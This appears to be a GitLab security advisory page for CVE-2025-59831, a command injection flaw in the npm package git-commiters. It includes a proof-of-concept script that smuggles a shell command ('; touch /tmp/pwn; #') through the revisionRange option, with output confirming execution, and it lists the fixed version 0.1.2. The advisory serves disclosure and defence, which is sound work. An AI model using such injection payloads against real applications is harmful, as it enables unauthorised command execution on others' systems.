Advisory Database
  • Advisories
  • Dependency Scanning
  1. npm
  2. ›
  3. git-commiters
  4. ›
  5. CVE-2025-59831

CVE-2025-59831: `git-comiters` Command Injection vulnerability

September 22, 2025 (updated September 26, 2025)

Background on the vulnerability

This vulnerability manifests with the library’s primary exported API: gitCommiters(options, callback) which allows specifying options such as cwd for current working directory and revisionRange as a revision pointer, such as HEAD.

However, the library does not sanitize for user input or practice secure process execution API to separate commands from their arguments and as such, uncontrolled user input is concatenated into command execution.

Exploit

  1. Install git-commiters@0.1.1 or earlier
  2. Initiaizlie a new Git directory with commits in it
  3. Create the following script in that directory:
var gitCommiters = require("git-commiters");

var options = {
  cwd: "./",
  revisionRange: "HEAD; touch /tmp/pwn; #",
};
gitCommiters(options, function (err, result) {
  if (err) console.log(err);
  else console.log(result);
});
  1. Observe new file created on disk at /tmp/pwn

The git commiters functionality works as expected, too, despite the command execution, which further hinders the problem as it may not be apparent that a command injection occured on a running application.

@lirantal ➜ /workspaces/git-commiters.js (master) $ node app.js
[
  {
    email: 'github@qslw.com',
    name: 'Morton Fox',
    deletions: 1,
    insertions: 1,
    commits: 1
  },
  {
    email: 'snowyu.lee@gmail.com',
    name: 'Riceball LEE',
    deletions: 11,
    insertions: 1198,
    commits: 7
  }
]

@lirantal ➜ /workspaces/git-commiters.js (master) $ ls -alh /tmp/pwn
-rw-r--rw- 1 codespace codespace 0 Jul  1 06:09 /tmp/pwn

Credit

Liran Tal

References

  • github.com/advisories/GHSA-g38c-wxjf-xrh6
  • github.com/snowyu/git-commiters.js
  • github.com/snowyu/git-commiters.js/commit/7f0abfedbf506e3a61ac875d91324a8dbe756e84
  • github.com/snowyu/git-commiters.js/security/advisories/GHSA-g38c-wxjf-xrh6
  • nvd.nist.gov/vuln/detail/CVE-2025-59831

Code Behaviors & Features

Detect and mitigate CVE-2025-59831 with GitLab Dependency Scanning

Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →

Affected versions

All versions before 0.1.2

Fixed versions

  • 0.1.2

Solution

Upgrade to version 0.1.2 or above.

Weakness

  • CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
  • CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Source file

npm/git-commiters/CVE-2025-59831.yml

Spotted a mistake? Edit the file on GitLab.

  • Site Repo
  • About GitLab
  • Terms
  • Privacy Statement
  • Contact

Page generated Tue, 07 Oct 2025 00:17:58 +0000.